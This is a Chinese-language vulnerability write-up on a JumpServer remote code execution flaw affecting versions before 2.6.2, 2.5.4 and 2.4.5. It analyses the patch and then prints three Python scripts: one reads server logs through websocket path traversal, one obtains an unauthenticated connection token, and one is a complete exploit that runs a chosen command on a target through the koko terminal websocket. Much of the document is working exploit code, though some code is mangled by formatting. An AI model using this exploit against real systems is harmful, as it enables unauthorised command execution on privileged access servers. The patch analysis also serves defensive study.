JumpServer远程代码执行漏洞
影响版本
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
补丁分析
https://github.com/jumpserver/jumpserver/commit/82077a3ae1d5f20a99e83d1ccf19d683ed3af71e
第一个修复路径是 apps/authentication/api/auth.py
删除了 get_permissions
函数,在该函数内如果带上了user-only
参数,将会获得一个 AllowAny
的权限
第二个修复路径是 apps/ops/ws.py
这是一个websocket 连接端点,用来读取日志文件,修复方式是在connect
函数内添加了身份认证代码。
日志文件读取
在receive
中获取到了task
参数,传递给了read_log_file
函数,期间task_id
参数没有做检验
在get_celery_task_log_path
限制了只能读log
后缀的文件
jumpserver
的日志目录在/opt/jumpserver/logs/
, 查看gunicorn.log日志,可以获取到user_id、asset_id、system_user_id
获取日志
import websocket
#pip install websocket_client
import json
import sys
import ssl
try:
import thread
except ImportError:
import _thread as thread
def on_message(ws, message):
print(json.loads(message)["message"])
def on_error(ws, error):
print(error)
def on_close(ws):
print("### closed ###")
def on_open(ws):
print("open")
ws.send('{"task":"../../../../../../../../../../../opt/jumpserver/logs/gunicorn"}')
#thread.start_new_thread(run, ())
if __name__ == "__main__":
websocket.enableTrace(True)
ws = websocket.WebSocketApp("ws://"+sys.argv[1]+"/ws/ops/tasks/log/",
on_message = on_message,
on_error = on_error,
on_close = on_close)
ws.on_open = on_open
# ws.run_forever()
ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE,"check_hostname": False})
然后就是利用漏洞获取一个临时的token
#-*- coding: utf-8 -*-
import requests
import json
data={"user":"8b193d3b-905e-431c-bf4e-e54b79b9640b","asset":"45159f85-88bf-420e-ae70-85678d7eeaee","system_user":"9d76568c-075a-492a-a646-597b686de15c"}
url_host='http://192.168.126.133'
def get_token():
url = url_host+'/api/v1/users/connection-token/?user-only=1'
url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
print(response)
ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
print(ret.text)
get_token()
connection-token
接口是在koko
go写的程序里使用的
通过前面TokenAssetURL
反向跟踪到processTokenWebsocket
,再进一步跟踪到下面的代码,而且/elfinder
, 和/terminal
都有认证校验,而/token
没有
ws的token接口F12可以看到.
把前面的token
传入target_id
就可以进入TTY
执行命令了
ws://192.168.126.133/koko/ws/token/?target_id=6af30d9a-d707-4c11-bf70-8fef5229fdda
#-*- coding: utf-8 -*-
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客户端主逻辑
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{"cols":164,"rows":17}"})
print("inittext:"+inittext)
await send_msg(websocket,inittext)
for i in range(2):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: ls")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"
"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
# print(f"{recv_text}")
print(json.dumps(recv_text, sort_keys=True, indent=4))
print('#######finish')
if __name__ == '__main__':
try:
import sys
host=sys.argv[1]
cmd=sys.argv[2]
if host[-1]=='/':
host=host[:-1]
print(host)
data={"user":"8b193d3b-905e-431c-bf4e-e54b79b9640b","asset":"45159f85-88bf-420e-ae70-85678d7eeaee","system_user":"9d76568c-075a-492a-a646-597b686de15c"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
except:
print("python jumpserver.py http://192.168.1.73 whoami")